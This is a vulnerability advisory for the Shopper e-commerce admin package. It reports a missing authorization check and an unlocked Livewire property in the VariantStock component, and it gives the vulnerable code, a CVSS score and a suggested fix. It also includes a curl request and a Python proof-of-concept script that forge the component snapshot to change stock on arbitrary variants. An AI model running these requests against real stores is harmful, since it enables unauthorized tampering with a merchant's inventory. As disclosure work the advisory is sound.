Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

• packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91

// Line 34 - unprotected, client-mutable variant binding
public $variant;

// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
    return Action::make('stock')
        ->label(__('shopper::forms.actions.update'))
        ->color('gray')
        ->icon(Untitledui::Package)
        ->modalHeading(__('shopper::pages/products.modals.variants.title'))
        ->modalWidth(Width::Large)
        ->schema([
            Select::make('inventory')
                ->label(__('shopper::pages/products.inventory_name'))
                ->options(Inventory::query()->pluck('name', 'id'))
                ->native(false)
                ->required(),
            TextInput::make('quantity')
                ->label(__('shopper::forms.label.quantity'))
                ->placeholder('-10 or -5 or 50, etc')
                ->numeric()
                ->required(),
        ])
        ->action(function (array $data): void {
            // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
            // with no permission check anywhere in this path
        });
}

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.

# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: "

# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.

# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "$XSRF" \
  -H "Cookie: $SESSION" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
    }]
  }'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  VARIANT_ID      integer ID of any target variant
  INVENTORY_ID    integer ID of the target inventory location
  QUANTITY        integer quantity adjustment (positive or negative)
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
variant_id    = int(os.environ['VARIANT_ID'])
inventory_id  = int(os.environ['INVENTORY_ID'])
quantity      = int(os.environ['QUANTITY'])

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'variant': variant_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callAction',
            'params': ['stock', {
                'inventory': inventory_id,
                'quantity': quantity,
            }]
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browse_products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.

Suggested fix

// packages/admin/src/Livewire/Components/Products/VariantStock.php

use Livewire\Attributes\Locked;

#[Locked]                     // prevent client-side ID substitution
public $variant;

public function stockAction(): Action
{
    return Action::make('stock')
        ->authorize('edit_product_variants')   // add this
        // ... rest of the action

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).